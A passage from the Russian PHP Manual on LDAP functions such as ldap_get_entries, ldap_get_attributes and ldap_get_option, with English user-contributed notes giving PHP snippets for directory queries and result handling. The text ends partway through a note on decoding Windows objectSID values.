  • PHP Manual
  • Функции LDAP
  • Вернуть первый атрибут

ldap_first_attribute

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_attribute — Вернуть первый атрибут

Описание

ldap_first_attribute(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Получает первый атрибут в данной записи. Остающиеся атрибуты получаются последовательным вызовом ldap_next_attribute().

Подобно чтению записей, атрибуты также читаются один за другим из отдельного элемента.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

Возвращаемые значения

Возвращает первый атрибут в записи, в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.
8.0.0 | Неиспользуемый третий параметр ber_identifier больше не принимается.

Смотрите также

  • ldap_next_attribute() - Получить следующий атрибут из результата
  • ldap_get_attributes() - Получает атрибуты из записи в результатах поиска

User Contributed Notes

There are no user contributed notes for this page.


Возвратить первый идентификатор результата

  • « ldap_first_attribute
  • ldap_first_reference »
  • PHP Manual
  • Функции LDAP
  • Возвратить первый идентификатор результата

ldap_first_entry

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_first_entry — Возвратить первый идентификатор результата

Описание

ldap_first_entry(LDAP\Connection $ldap, LDAP\Result $result): LDAP\ResultEntry|false

Возвращает идентификатор для первой записи в результате. Этот идентификатор затем используется в функции ldap_next_entry(), для последовательного получения записей из результата.

Записи в LDAP результате считываются последовательно используя функции ldap_first_entry() и ldap_next_entry().

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

Возвращаемые значения

Возвращает экземпляр LDAP\ResultEntry или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.
8.1.0 | Возвращает экземпляр LDAP\ResultEntry; ранее возвращался ресурс (resource).

Смотрите также

  • ldap_get_entries() - Получает все записи результата

User Contributed Notes

There are no user contributed notes for this page.


Возвращает первую справку

  • « ldap_first_entry
  • ldap_free_result »
  • PHP Manual
  • Функции LDAP
  • Возвращает первую справку

ldap_first_reference

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

ldap_first_reference — Возвращает первую справку

Описание

ldap_first_reference(LDAP\Connection $ldap, LDAP\Result $result): LDAP\ResultEntry|false
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

sami at sipponen dot com 16-Nov-2004 03:56
Hopefully the code below help you to loop through references with LDAP3 servers. It took me a significant amount of time to figure out how this thing works and now I have successfully used this with Active Directory to loop through severial subdomains.

Special thanks to Stig Venaas who helped me to get started. (the original problem was that ldap_parse_reference function was missing in Windows builds. At least it will now work with Windows PHP versions 5.1.0-DEV and higher after I made a bug report)

function crawlRefs($user, $passw, $host, $dn, $port, $filter) {

  //Create the basic connection for fetching referrals
  $adConn = ldap_connect($host, $port) or die("System couldn't connect!");
  ldap_set_option($adConn, LDAP_OPT_PROTOCOL_VERSION, 3) or die ("System couldn't make first protocol option setting!");
  ldap_set_option($adConn, LDAP_OPT_REFERRALS, 0) or die ("System couldn't make second protocol option setting!");
  $bd = ldap_bind($adConn, $user, $passw) or die ("System couldn't bind the connection!");
  $search = ldap_search($adConn, $dn, $filter);

  //Find referrals
  $ref = ldap_first_reference($adConn, $search);
  while ($ref) {
    if (ldap_parse_reference($adConn, $ref, $referrals)) {
      while ($referral = array_shift($referrals)) {
        echo $referral . "<br>\n";
      }
    }
  $ref = ldap_next_reference($adConn, $ref);
}


Освободить память результата

  • « ldap_first_reference
  • ldap_get_attributes »
  • PHP Manual
  • Функции LDAP
  • Освободить память результата

ldap_free_result

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_free_result — Освободить память результата

Описание

ldap_free_result(LDAP\Result $result): bool

Освобождает память, внутренне выделенную для хранения результата. Вся память результата будет автоматически освобождена, когда сценарий завершится.

Обычно вся память, выделенная для результата LDAP, освобождается в конце сценария. В случае, если сценарий делает последовательные операции поиска, которые возвращают большие наборы результатов, ldap_free_result() может быть вызвана, чтобы сохранить небольшое использование памяти по время выполнения сценария.

Список параметров

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.

User Contributed Notes

There are no user contributed notes for this page.


Получает атрибуты из записи в результатах поиска

  • « ldap_free_result
  • ldap_get_dn »
  • PHP Manual
  • Функции LDAP
  • Получает атрибуты из записи в результатах поиска

ldap_get_attributes

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_attributes — Получает атрибуты из записи в результатах поиска

Описание

ldap_get_attributes(LDAP\Connection $ldap, LDAP\ResultEntry $entry): array

Читает атрибуты и значения из записи в результатах поиска.

Определив местоположение определённой записи в каталоге, вы можете узнать, какая информация хранится для этой записи используя эту функцию. Вы должны использовать эту функцию для приложения, которое "просматривает" записи каталога и/или где структура записей каталога неизвестна. Во многих приложениях вы будете искать определённый атрибут, такой как адрес электронной почты или фамилия, не затрагивая другие данные.

return_value["count"] = число атрибутов в записи
return_value[0] = первый атрибут
return_value[n] = n-ый атрибут

return_value["attribute"]["count"] = число значений атрибута
return_value["attribute"][0] = первое значение атрибута
return_value["attribute"][i] = (i+1)-ое значение атрибута

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

Возвращаемые значения

Возвращает полную информацию записи в многомерный массив.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.

Примеры

Пример #1 Показывает список атрибутов, соответствующие определённой записи директории

<?php
// $ds допустимый экземпляр LDAP\Connection

// $sr - действительный результат поиска из запроса
// к директории ldap

$entry = ldap_first_entry($ds, $sr);

$attrs = ldap_get_attributes($ds, $entry);

echo $attrs["count"] . " атрибуты, соответствующие этой записи:<p>";

for ($i=0; $i < $attrs["count"]; $i++) {
echo $attrs[$i] . "<br />";
}
?>

Смотрите также

  • ldap_first_attribute() - Вернуть первый атрибут
  • ldap_next_attribute() - Получить следующий атрибут из результата

User Contributed Notes

dunc at rumbletum dot org 18-Oct-2007 02:52
I spent quite a while scratching my head about how to read operational attributes such as create and modify timestamps.

This function solved it....

function get_entry_system_attrs( $ds, $dn, $deref=LDAP_DEREF_NEVER )
{
   $conn = $ds;
   $attrs = array( 'creatorsname', 'createtimestamp', 'modifiersname',
         'structuralObjectClass', 'entryUUID',  'modifytimestamp',
         'subschemaSubentry', 'hasSubordinates', '+' );
   $search = @ldap_read( $conn, $dn, '(objectClass=*)', $attrs, 0, 0, 0, $deref );
   if( ! $search )
      return false;
   $entry = ldap_first_entry( $conn, $search );
   if( ! $entry)
       return false;
   $attrs = ldap_get_attributes( $conn, $entry );
   if( ! $attrs )
      return false;
   if( ! isset( $attrs['count'] ) )
      return false;
   $count = $attrs['count'];
   unset( $attrs['count'] );
   $return_attrs = array();
   for( $i=0; $i<$count; $i++ ) {
      $attr_name = $attrs[$i];
      unset( $attrs[$attr_name]['count'] );
      $return_attrs[$attr_name] = $attrs[$attr_name];
   }
   return $return_attrs;
}
Snezko Snezak 27-Jul-2006 01:06
Code and function to extract all attributes from all entryes in a certain DN. Maybe not the most timewise efficient but it works.

$entry = ldap_first_entry($ds, $sr);
write_attr($entry,$ds);
for ($i = 0; $i < $n_entries; $i++){
   $entry = ldap_next_entry($ds, $entry);
   write_attr($entry,$ds);
}

function write_attr($entry,$ds){
   $attrs = ldap_get_attributes ($ds, $entry);
   for ($j = 0; $j < $attrs["count"]; $j++){
      $attr_name = $attrs[$j];
      $attrs["$attr_name"]["count"] . "\n";
      for ($k = 0; $k < $attrs["$attr_name"]["count"]; $k++) {
             echo ">>>>>>";
             echo $attr_name.": ".$attrs["$attr_name"][$k]."\n";
      }
   }
}
php dot net at hiddemann dot org 02-Jul-2004 10:59
Note that ldap_get_attributes fetches attributes AND values from the LDAP server. Depending on the data stored in the entry, the following code might work a dozen times faster (or even better, but faster in general) than the code in Example 1:

<?php
// $ds is the link identifier for the directory

// $sr is a valid search result from a prior call to
// one of the ldap directory search calls

$entry = ldap_first_entry($ds, $sr);

$attrs = array();
$attribute = ldap_first_attribute($ds,$entry,$identifier);
while ($attribute) {
   $attrs[] = $attribute;
   $attribute=ldap_next_attribute($ds,$entry,$identifier);
}

echo count($attrs) . " attributes held for this entry:<p>";

for ($i=0; $i<count($attrs); $i++) {
   echo $attrs[$i] . "<br />";
}
?>

You may want to check the time difference with the function "microtime".
kop at meme dot com 29-Jul-2003 11:28
It's good practice to use array_change_key_case() on the result of ldap_get_attributes() so your program can ignore case in attribute names just like ldap itself does.  (You wouldn't want ldap_get_attributes to _always_ flatten the case because you need a way to get the attribute names in a pretty format for display to the user.)
allie at pajunas dot com 20-May-2002 08:52
The array created by this function is similar to the on from ldap_get_entries() but when it creates array keys it alters the attribute's case inconsistently.

ldap_get_entries() lowercases all of the attributes before keying the array with them, but this function appears to leave things as they are.

If you're having problems, do a print_r and make sure you're using correct case for array keys.  For example, you might need to use "objectClass" and not "objectclass".
software at inebria dot com 21-Jun-2001 10:31
As of PHP 4.0.5, the ldap_get_attributes function does not work with binary data.  If you're fetching a JPEG from an LDAP server, use ldap_get_values_len instead.


Получить DN результирующей записи

  • « ldap_get_attributes
  • ldap_get_entries »
  • PHP Manual
  • Функции LDAP
  • Получить DN результирующей записи

ldap_get_dn

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_dn — Получить DN результирующей записи

Описание

ldap_get_dn(LDAP\Connection $ldap, LDAP\ResultEntry $entry): string|false

Обнаружить DN записи в результате.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

Возвращаемые значения

Возвращает DN записи результата и false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.

User Contributed Notes

radulescuiuliamaria at yahoo dot com 29-Sep-2015 08:50
How to get the DN for a given samaccountname:

/*the connecting part*/
$ldap_conn = ldap_connect($hostname, $port);
$bind = ldap_bind($ldap_conn, $username, $password);
/*the connecting part*/

$samaccountname = john.doe;

$filter="(samaccountname=$samaccountname)";
$dn="OU=PEOPLE, DC=example, DC=com"; //even if it seems obvious I note here that the dn is just an example, you'll have to provide an OU and DC of your own

$res = ldap_search($ldap_conn, $dn, $filter);
$first = ldap_first_entry($ldap_conn, $res);
$data = ldap_get_dn($ldap_conn, $first);

echo "The desired DN is: ".$data;


Получает все записи результата

  • « ldap_get_dn
  • ldap_get_option »
  • PHP Manual
  • Функции LDAP
  • Получает все записи результата

ldap_get_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_entries — Получает все записи результата

Описание

ldap_get_entries(LDAP\Connection $ldap, LDAP\Result $result): array|false

Читает множественные записи из заданного результата, и затем читает атрибуты и множественные значения.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

result

Экземпляр LDAP\Result, возвращаемый ldap_list() или ldap_search().

Возвращаемые значения

Возвращает полную информацию о результате в виде многомерного массива в случае успешного выполнения, и false в случае возникновения ошибки.

Структура массива следующая: Индекс атрибута преобразован в нижний регистр. (Атрибуты для серверов каталогов являются нечувствительными к регистру, но не тогда, когда они используются в качестве индексов массива.)

return_value["count"] = число записей в результате
return_value[0] : ссылается на информацию о первой записи

return_value[i]["dn"] =  DN i-ой записи в результате

return_value[i]["count"] = число атрибутов в i-ой записи
return_value[i][j] = NAME j-ого атрибута в i-ой записи результата

return_value[i]["attribute"]["count"] = число значений атрибута в
                                        i-ой записи
return_value[i]["attribute"][j] = j-ое значение атрибута i-ой записи

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр result теперь ожидает экземпляр LDAP\Result; ранее ожидался ресурс (resource) ldap result.

Смотрите также

  • ldap_first_entry() - Возвратить первый идентификатор результата
  • ldap_next_entry() - Получить следующую запись результата

User Contributed Notes

Mauro 08-Mar-2022 01:37
To remove the annoying first entry (count) just use array_shift().
peter dot mlich at volny dot cz 05-Jun-2020 07:52
public function entriesToArray($entries=array())
    {
    $list  = array();
    for($i=0;$i<$entries['count'];$i++)
        {
        $row = array();
        $dn  = $entries[$i]['dn'];
        unset($entries[$i]['count']);
        unset($entries[$i]['dn']);
        foreach($entries[$i] as $key=>$value)
            {
            if (is_int($key))
                {continue;}
            $list_in_col = array();
            foreach($value as $key2=>$value2)
                {
                if (!is_int($key2))
                    {continue;}
                $list_in_col[] = $value2;
                }
            $row[$key] = $list_in_col;
            }
        $row['dn'] = $dn;
        $list[$i] = $row;
        }
    return $list;
    }

/*
Format ldap entries to better array

array (size=2)
  'count' => int 1
  0 =>
    array (size=14)
      'ou' =>
        array (size=2)
          'count' => int 1
          0 => string '03024' (length=5)
      0 => string 'ou' (length=2)
      'mail' =>
        array (size=2)
          'count' => int 1
          0 => string 'name.surname@myfirm.cz' (length=22)
      1 => string 'mail' (length=4)
      'telephonenumber' =>
        array (size=2)
          'count' => int 1
          0 => string '+420123456781' (length=13)
      2 => string 'telephonenumber' (length=15)
      'personaltitle' =>
        array (size=2)
          'count' => int 1
          0 => string 'Ing.|' (length=4)
      3 => string 'personaltitle' (length=13)
      'sn' =>
        array (size=2)
          'count' => int 1
          0 => string 'MySurname' (length=6)
      4 => string 'sn' (length=2)
      'givenname' =>
        array (size=2)
          'count' => int 1
          0 => string 'MyName' (length=5)
      5 => string 'givenname' (length=9)
      'count' => int 6
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)

array (size=1)
  0 =>
    array (size=7)
      'ou' =>
        array (size=1)
          0 => string '03024' (length=5)
      'mail' =>
        array (size=1)
          0 => string 'name.surname@myfirm.cz' (length=22)
      'telephonenumber' =>
        array (size=1)
          0 => string '+420123456781' (length=13)
      'personaltitle' =>
        array (size=1)
          0 => string 'Ing.|' (length=4)
      'sn' =>
        array (size=1)
          0 => string 'MySurname' (length=6)
      'givenname' =>
        array (size=1)
          0 => string 'MyName' (length=5)
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)
*/
tomas dot hampl at gmail dot com 26-Jan-2012 10:50
It has been mentioned in the comments below, but the <?php ldap_get_entries($connection,$result) ?> always makes all attributes into lower-case. I found out the hard way that if I'm running an ldap query against the corporate AD and then want to display some results, nothing is actually displayed unless the attribute names area in lower-case.

Example:

<?php
// connect to AD
include('ad_con.php');
// limit attributes we want to look for
$attributes_ad = array("displayName","description","cn","givenName","sn","mail","co","mobile","company","displayName");
// define base
$base ="";

// in my script I search based on e-mail, $email variable is passed from the form
$result = ldap_search($conn, $base, "mail=$email*", $attributes_ad) or die ("Error in search
        query");

// put search results into the array ($conn variable is defined in the included 'ad_con.php')
$info = ldap_get_entries($conn, $result);

//Now, to display the results we want:
 for ($i=0; $i<$info["count"]; $i++)
    {
    // to show the attribute displayName (note the case!)
    echo $info[$i]["displayname"][0]

    }

?>
Sebastien Troiani 29-Jan-2010 05:39
Looks like there is a limit on returned objects - only 1000 items are placed in the array
plonky at gmail dot com 07-Apr-2009 09:09
Hope this could help a bit others to print attribute and values on the same line. This is basic code of course

<?php

$ldap_con = ldap_connect($ldap_server) or die("Could not connect to server. Error is " . ldap_error($ldap_con));
$ldap_bd = ldap_bind($ldap_con, $root_dn, $root_pw) or die("Could not bind to server. Error is " .ldap_error($ldap_con));
$result = ldap_search($ldap_con, $personnel_base, "(uid=*)") or die ("Error in query");

$data = ldap_get_entries($ldap_con, $result);

for ($i=0; $i<=$data["count"];$i++) {
        for ($j=0;$j<=$data[$i]["count"];$j++){
        echo $data[$i][$j].": ".$data[$i][$data[$i][$j]][0]."\n";
        }
}
ldap_close($ldap_con);
?>
chl 11-Mar-2009 08:20
Recursive form of markus' function so it can take directly the result of ldap_get_entries :
<?php
function cleanUpEntry( $entry ) {
  $retEntry = array();
  for ( $i = 0; $i < $entry['count']; $i++ ) {
    if (is_array($entry[$i])) {
      $subtree = $entry[$i];
      //This condition should be superfluous so just take the recursive call
      //adapted to your situation in order to increase perf.
      if ( ! empty($subtree['dn']) and ! isset($retEntry[$subtree['dn']])) {
        $retEntry[$subtree['dn']] = cleanUpEntry($subtree);
      }
      else {
        $retEntry[] = cleanUpEntry($subtree);
      }
    }
    else {
      $attribute = $entry[$i];
      if ( $entry[$attribute]['count'] == 1 ) {
        $retEntry[$attribute] = $entry[$attribute][0];
      } else {
        for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
          $retEntry[$attribute][] = $entry[$attribute][$j];
        }
      }
    }
  }
  return $retEntry;
}
?>

Result is of the form :
array(256) {
  ["uid=doe,ou=People,dc=example,dc=net"]=>
  array(3) {
    ["uid"]=>
    string(4) "doe"
    ["cn"]=>
    string(14) "John Doe"
    ["telephonenumber"]=>
    string(4) "1234"
  }
  ["uid=foo,ou=People,dc=example,dc=net"]=>
  ...
asohn at aircanopy dot net 21-Sep-2007 02:48
Some code I put together. Maybe yall can benefit from it.

<?php
function search_results($info) {
  foreach ($info as $inf) {
    if (is_array($inf)) {
      foreach ($inf as $key => $in) {
        if ((count($inf[$key]) - 1) > 0) {
          if (is_array($in)) {
            unset($inf[$key]["count"]);
          }
          $results[$key] = $inf[$key];
        }
      }
    }
  }
  $results["dn"] = explode(',', $info[0]["dn"]);
  return $results;
}

$user = "asohn";

$ds = ldap_connect("ldap://DOMAIN.net");
if ($ds) {
  $r = ldap_bind($ds);
  $sr = ldap_search($ds, "ou=customers,dc=DOMAIN,dc=net", "uid=".$user);
  $info = ldap_get_entries($ds, $sr);

  echo $info["count"]." Search Result(s) for \"".$user."\"\n";

  $results = search_results($info);
  foreach ($results as $key => $result) {
    echo "  ".$key."\n";
    if (is_array($result)){
      foreach($result as $res){
        echo "    ".$res."\n";
      }
    }
  }
  ldap_close($ds);
}
?>
markus dot schabel at tgm dot ac dot at 21-Feb-2006 12:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
    $retEntry = array();
    for ( $i = 0; $i < $entry['count']; $i++ ) {
        $attribute = $entry[$i];
        if ( $entry[$attribute]['count'] == 1 ) {
            $retEntry[$attribute] = $entry[$attribute][0];
        } else {
            for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
                $retEntry[$attribute][] = $entry[$attribute][$j];
            }
        }
    }
    return $retEntry;
}
?>
reuben dot helms at gmail dot com 07-Feb-2006 01:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com> 24-Jun-2005 02:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de 21-Apr-2004 03:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
    if ( is_null( $entries[ $i ] ) ) continue;
    ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com> 13-Nov-2003 07:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
        $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
        $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
    }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org 04-Sep-2003 11:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
    # (int)0 == "count", so we need to use ===
    if($key === "count")
      unset($arr[$key]);
    elseif(is_array($val))
      $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi 18-Jun-2003 06:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
pmichaud at pobox dot com 09-Feb-2002 06:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au 17-Aug-2001 04:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no 15-May-2001 09:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com 20-Dec-2000 10:24
Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au 17-Apr-2000 10:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.


Получить текущее значение данной опции

  • « ldap_get_entries
  • ldap_get_values_len »
  • PHP Manual
  • Функции LDAP
  • Получить текущее значение данной опции

ldap_get_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_get_option — Получить текущее значение данной опции

Описание

ldap_get_option(LDAP\Connection $ldap, int $option, array|string|int &$value = null): bool

Устанавливает value в значение указанной опции.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

option

Опция option может быть одной из:

Опция | Тип | Начиная с версии
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_DIAGNOSTIC_MESSAGE | string
LDAP_OPT_REFERRALS | int
LDAP_OPT_RESTART | int
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | 7.1
LDAP_OPT_X_KEEPALIVE_PROBES | int | 7.1
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | 7.1
LDAP_OPT_X_TLS_CACERTDIR | string | 7.1
LDAP_OPT_X_TLS_CACERTFILE | string | 7.1
LDAP_OPT_X_TLS_CERTFILE | string | 7.1
LDAP_OPT_X_TLS_CIPHER_SUITE | string | 7.1
LDAP_OPT_X_TLS_CRLCHECK | int | 7.1
LDAP_OPT_X_TLS_CRL_NONE | int | 7.1
LDAP_OPT_X_TLS_CRL_PEER | int | 7.1
LDAP_OPT_X_TLS_CRL_ALL | int | 7.1
LDAP_OPT_X_TLS_CRLFILE | string | 7.1
LDAP_OPT_X_TLS_DHFILE | string | 7.1
LDAP_OPT_X_TLS_KEYFILE | string | 7.1
LDAP_OPT_X_TLS_PACKAGE | string | 7.1
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | 7.1
LDAP_OPT_X_TLS_RANDOM_FILE | string | 7.1
LDAP_OPT_X_TLS_REQUIRE_CERT | int

value

Будет установлен в значение опции.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .

Примеры

Пример #1 Проверка версии протокола

<?php
// $ds допустимый экземпляр LDAP\Connection
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
echo "Используется версия протокола $version\n";
} else {
echo "Невозможно определить версию протокола\n";
}
?>

Примечания

Замечание:

Эта функция доступна только когда используется OpenLDAP 2.x.x или Netscape Directory SDK x.x.

Смотрите также

  • ldap_set_option() - Установить значение данной опции

User Contributed Notes

Maarten 11-Jan-2020 09:24
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
Anonymous 27-May-2016 01:03
Following on from Jeremy S's example.
Instead of defining LDAP_OPT_DIAGNOSTIC_MESSAGE as 0x32 then using it, you can just use the option already defined as that value :)

LDAP_OPT_ERROR_STRING
Jeremy S 02-Jul-2013 11:37
Here is how to tell if an Active Directory user account expired:

define('LDAP_OPT_DIAGNOSTIC_MESSAGE', 0x0032);

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($conn, LDAP_OPT_REFERRALS, 0);

$bind = ldap_bind($conn, $user, $pass);

ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error);

if (!empty($extended_error))
{
    $errno = explode(',', $extended_error)[2];
    $errno = explode(' ', $errno)[2];
    $errno = intval($errno);

    if ($errno == 532)
        $err = 'Unable to login: Password expired.';
}


Получить все бинарные значения из записи результата

  • « ldap_get_option
  • ldap_get_values »
  • PHP Manual
  • Функции LDAP
  • Получить все бинарные значения из записи результата

ldap_get_values_len

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values_len — Получить все бинарные значения из записи результата

Описание

ldap_get_values_len(LDAP\Connection $ldap, LDAP\ResultEntry $entry, string $attribute): array|false

Читает все значения атрибута в записи результата.

Эта функция используется точно также как и ldap_get_values() за исключением того, что обрабатывает двоичные данные, а не строковые.

Список параметров

ldap

Экземпляр LDAP\Connection, возвращаемый функцией ldap_connect().

entry

Экземпляр LDAP\ResultEntry.

attribute

Возвращаемые значения

Возвращает массив значений для атрибута в случае успешного выполнения и false в случае возникновения ошибки. Отдельные значения доступны по целочисленному индексу в массиве. Первый индекс 0. Число значений может быть найдено по индексу "count" в результирующем массиве.

Список изменений

Версия | Описание
8.1.0 | Параметр ldap теперь ожидает экземпляр LDAP\Connection; ранее ожидался ресурс (resource) ldap link .
8.1.0 | Параметр entry теперь ожидает экземпляр LDAP\ResultEntry; ранее ожидался ресурс (resource) ldap result entry.

Смотрите также

  • ldap_get_values() - Получает все значения из записи результата

User Contributed Notes

m1tk0123123 at abv dot bg 30-Aug-2016 11:52
Hi
Here solution for WINDOWS objectsid:
// LIB .............................
class LDAP_OBJECT_SID {

    public function toString($SID_BINARY) {

        $split = str_split($SID_BINARY, 8);
        $hexArray = array();
        foreach ($split as $key => $byte) {
           $hexArray[$key] = strToUpper(substr('0'.dechex(bindec($byte)), -2));
        }

        $BLOCK_COUNT = hexdec($hexArray[1]);
        $DEC_GROUP['SUB-ID-BLOCKS'] = array();
        for ($i=0; $i<$BLOCK_COUNT; $i++) {
            $offset = 8 + (4 * $i);
